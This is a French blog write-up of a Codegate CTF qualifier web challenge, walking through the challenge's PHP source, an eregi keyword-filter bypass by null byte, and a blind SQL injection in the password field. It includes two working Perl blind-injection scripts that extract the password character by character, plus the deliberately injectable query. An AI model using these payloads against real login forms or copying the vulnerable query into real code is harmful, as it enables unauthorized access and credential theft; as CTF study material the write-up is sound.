Alors oui, le week end dernier avait lieu les quals pour le codegate et comme chaque années nos amis Coréens nous ont réalisé un festival de challs avec un level plutôt appréciable loiiiiin du monde de l'entreprise ET C'EST TANT MIEUX!! :p
Ainsi je me lance dans le write up d'un challenge web super simpa et trés technique qui m'a beaucoup plus: 120, le web 500!
1-Présentation:
Le challenge vous donnait un link http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php sur lequel se trouvait juste un champ password et un joli texte indiquant "Time Left 120".
Vous aurez bien compris que le password n'étant pas fourni ... no comment.
A coté de ça, une fois n'est pas coutume nous avions accès au code source et honnêtement tant mieux ! lol
(je vous paste ça sur pastebin avec un lien ici au cas ou..)
- session_start();
- $link = @mysql_connect('localhost', '', '');
- @mysql_select_db('', $link);
- function RandomString()
- {
- $filename = "smash.txt";
- $f = fopen($filename, "r");
- $len = filesize($filename);
- $contents = fread($f, $len);
- $randstring = '';
- while( strlen($randstring)<30 ){
- $t = $contents[rand(0, $len-1)];
- if(ctype_lower($t)){
- $randstring .= $t;
- }
- }
- return $randstring;
- }
- $max_times = 120;
- if ($_SESSION['cnt'] > $max_times){
- unset($_SESSION['cnt']);
- }
- if ( !isset($_SESSION['cnt'])){
- $_SESSION['cnt']=0;
- $_SESSION['password']=RandomString();
- $query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
- @mysql_query($query);
- $query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
- @mysql_query($query);
- }
- $left_count = $max_times-$_SESSION['cnt'];
- $_SESSION['cnt']++;
- if ( $_POST['password'] ){
- if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
- @mysql_close($link);
- exit("Wrong access");
- }
- $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
- $q = @mysql_query($query);
- $res = @mysql_fetch_array($q);
- if($res['ip']==$_SERVER['REMOTE_ADDR']){
- @mysql_close($link);
- exit("True");
- }
- else{
- @mysql_close($link);
- exit("False");
- }
- }
- @mysql_close($link);
- ?>
- .... code html du formulaire ...
Pour la suite je reprendrait ce qui nous intéresse mais je vous recommande la lecture de ce code pour une meilleure compréhension.
On peux d'hors et déja se douter qu'on ne sait pas encore comment mais ce password "magique" il nous le faut !
2-Analyse de code:
Afin de gagner du temps (oui j'ai la flemme d'écrire aussi...) nous allons ici lister la vulnérabilité mais aussi et surtout les moyens mis en oeuvre pour tenter de sécuriser ce code.
a) Les sécurités mise en oeuvre:
la première qui saute aux yeux se trouve en ligne 44:
- if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
- @mysql_close($link);
- exit("Wrong access");
- }
La à première vue à voir les mots matched ET les / * on se dit que le bypass est pas forcément gagné ... on reviendra dessus par la suite ;-).
Viens ensuite une autre problématique qui est les 120 requêtes autorisées!
Oui, si on regarde attentivement la ligne 25 on vois que si on dépasse la limite des 120 alors notre SESSIONID sera réinitialisé et donc le password sera changé par appel à la fonction RandomString().
- $max_times = 120;
- if ($_SESSION['cnt'] > $max_times){
- unset($_SESSION['cnt']);
- }
- if ( !isset($_SESSION['cnt'])){
- $_SESSION['cnt']=0;
- $_SESSION['password']=RandomString();
A cela viendra s'ajouter la vérification d'ip qui dans le cas d'une exploitation en bind aura un rôle primordial car seul une fois cette condition supplémentaire remplis la fonction renverra True, tout les reste passera systématiquement en False ce qui, j'ai pu le constater est pas forcément si évident notamment a cause des url_encode:
- if($res['ip']==$_SERVER['REMOTE_ADDR']){
- @mysql_close($link);
- exit("True");
- }
- else{
- @mysql_close($link);
- exit("False");
- }
b) Vulnérabilité:
elle se trouve ligne 49:
- $query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
mais pas que!
En effet, l'entrée utilisateur n'est pas du tout bien gérée, elle n'est pas "sanitized".
Bon c'est bien beau tout ça mais alors ou est l'autre vulnérabilité me direz vous ?
Tout simplement dans la fonction eregi utilisé pour matcher les patterns, souvenez vous :
eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])
à première vue RAS et pourtant.. la page du manuel php indique qu'elle n'est pas case sensitive ... ok mais juste en dessous on peux y lire un gros WARNING nous indiquant qu'elle est deprecated depuis php 5.3.0 et qu'il est recommandé de ne pas l'employer!
Une simple recherche et on tombe sur la liste dediffusion de PHP et au bun #44366 que voit-on ?
Qu'eregi se bypass avec un simple Null Byte poisoning! \o/
3-Exploitation:
Une fois ces informations récupérées on peux alors commencer à travailler notre SQLi et trés vite nous récupérions des résultats notamment grâce à un script fait à l'arrache par l'ami korigan (je ne donnerai pas le code ici ne lui en ayant pas parlé pi il serait pas fier je pense :P).
Ensuite chacun (on s'est retrouvé à 3 sur ce challenge) y aura été de son propre exploit : bash , python, perl ..
Forcément ce blog étant miens je ne posterais que mon code mais je précise que sa vue peux choquer: ce coup ci je n'ai pas fait le ménage et il sera tel qu'il était lors du ctf !
Bref, le disclaimer fait continuons!
les premiers essais démontrait clairement que bien trop de requests étaient faites et donc impossible d'espérer s'authentifier grâce à ce sploit:
- #!/usr/bin/perl -Uw
- use 5.0.10;
- use Encode;
- use IO::File;
- use URL::Encode qw(url_decode_utf8 url_encode_utf8);
- use Data::Dumper;
- use HTTP::Cookies;
- use LWP::UserAgent;
- BEGIN:
- #Filtrage en place:
- # "replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*"
- ## si besoin d'un biscuit...
- #
- my $cookie_jar = HTTP::Cookies->new(
- file => "cookies.txt",
- );
- my $UserAgent = LWP::UserAgent->new;
- $UserAgent->cookie_jar( $cookie_jar );
- ## Get Password:
- my $Arg=1;
- my $Flag;
- for (my $i=32;$i <=126;$i++){ // englobe min, specials char, MAJ, number
- my $getpass = url_decode_utf8("'or if(ascii(substr(password,$Arg,1))=$i,1,0) or '0-- -");
- #print("[*]Trying post data: $getpass\n");
- my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
- my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
- my $content = $response->decoded_content();
- if($content =~ /True/i){
- my $found=chr($i);
- $Flag.=$found;
- print("[*]FLAG: $Flag\n");
- $Arg+=1;
- $i=32;
- }
- }
- my $fh = IO::File->new("> WEB500_data");
- if (defined $fh) {
- print $fh $Flag;
- $fh->close;
- }
- __END__
En effet, hors mis la saleté (j'avais prévenu) on comprend vite que le scope testé est trop grand et surtout qu'un peu de dichotomie ferait sûrement gagner en perf !
Concernant le scope j'ai eu l'idée de relire le code et .. OMG!
Je pouvait déja bien le réduire (en gardant les specials chars même si j'avais de gros doute sur le fait qu'ils soient présents dans le pass auquel cas on aurait pu relancer le script afin d'avoir un script full lower-case mais bon).
La fonction de génération du pass était explicite:
- function RandomString()
- {
- $filename = "smash.txt";
- $f = fopen($filename, "r");
- $len = filesize($filename);
- $contents = fread($f, $len);
- $randstring = '';
- while( strlen($randstring)<30 ){
- $t = $contents[rand(0, $len-1)];
- if(ctype_lower($t)){
- $randstring .= $t;
- }
- }
- return $randstring;
- }
Il s'agirait donc de lettres randomisées formant une chaîne de 30 chars et tout en lower-case!
Vite, réadaptation du script avec un peu de dichotomie:
-Gain de temps,
-Gain de perf énorme
-Division du nombre de requests faites par 6 !
Voici le code "brut de décoffrage désolé, je n'ai pas pris le temps de faire de la cosmétique et je l'ai dev' dans l'urgence car lh'aure avançait... ( je mettrais un lien en fin d'article pour avoir toutes les ressources pour ceux que ça intéresse):
- #!/usr/bin/perl
- use 5.010;
- use Encode;
- use IO::File;
- use Data::Dumper;
- use HTTP::Cookies;
- use LWP::UserAgent;
- use URL::Encode qw(url_decode_utf8 url_encode_utf8);
- BEGIN:
- my $cookie_jar = HTTP::Cookies->new(
- file => "cookies.txt",
- );
- my $UserAgent = LWP::UserAgent->new;
- $UserAgent->cookie_jar( $cookie_jar );
- my $Arg=1;
- my $Flag;
- for(my $i=1;$i<=30;$i++){
- #Step1: > 65 (A)
- my $getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>65,1,0) or '0-- -");
- my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
- my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
- my $content = $response->decoded_content();
- if($content =~ /True/i){
- #print("Char $i > 65\n");
- # de 91 a 125
- $getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>105,1,0) or '0-- -");
- $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
- $response = $UserAgent->post( $Url, { 'password' => $getpass } );
- $content = $response->decoded_content();
- if($content =~ /True/i){
- #print("Char $i > 105\n");
- GetValue(106, 125, $i);
- next;
- }
- else{
- #print("Char $i < 105\n");
- GetValue(91, 105, $i);
- next;
- }
- }
- else{
- #print("Char $i < 65\n");
- # de 33 a 64
- $getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>47,1,0) or '0-- -");
- $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
- $response = $UserAgent->post( $Url, { 'password' => $getpass } );
- $content = $response->decoded_content();
- if($content =~ /True/i){
- #print("Char $i > 47\n");
- GetValue(48, 64, $i);
- next;
- }
- else{
- #print("Char $i < 47\n");
- GetValue(33, 47, $i);
- next;
- }
- }
- }
- #Exemple d'appel de fonction:
- #GetValue(97, 120, 1);
- my $fh = IO::File->new("> WEB500_data");
- if (defined $fh) {
- print $fh $Flag;
- $fh->close;
- }
- $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
- $response = $UserAgent->post( $Url, { 'password' => $Flag } );
- $content = $response->decoded_content();
- print "\n [Sending $Flag as password] ...\n====== Result :\n $content\n";
- sub GetValue{
- my ($start, $end, $position)=@_;
- for ($start;$start <=$end;$start++){
- my $getpass = url_decode_utf8("'or if(ascii(substr(password,$position,1))=$start,1,0) or '0-- -");
- my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
- # DEBBUG:
- # print("[*]Trying post data: $getpass\n");
- my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
- my $content = $response->decoded_content();
- if($content =~ /True/i){
- my $found=chr($start);
- $Flag.=$found;
- print("[*]FLAG: $Flag\n");
- return;
- }
- }
- return($Flag);
- }
- __END__
Le script lançait on récupérait rapidement les flags et la request d'authentification était envoyée:
Il était H-10 avant la fin du CTF au moment ou je lançait cet exploit et hélas encore mal optimisé notamment dans les requêtes SQL, il n'aura pas pu permettre de validé, une fois de plus ...
Cependant c'est une excellente base de travail il me semble , ce CTF de part ces épreuves et pas que celle-ci m'aura encore une fois tiré vers le haut alros j'espère que le write-up vous aura plu et pour finir en beauté vous trouverez en fin d'article des liens y compris vers le write up de ce challenge.
En réalité il était bien plus complexe qu'il n'y parait mais en toute honnêteté avec un peu de temps en plus, on le tombais et j'en suis convaincu !
Merci à vous amis lecteur ainsi qu'aux membre de l'équipe sec0d !!
Write-up de 120 par 0xBADCA7
Exploit perl par kmkz
code php + html du challenge
Bug #44366 de PHP concernant le null byte poisoning / eregi bypassing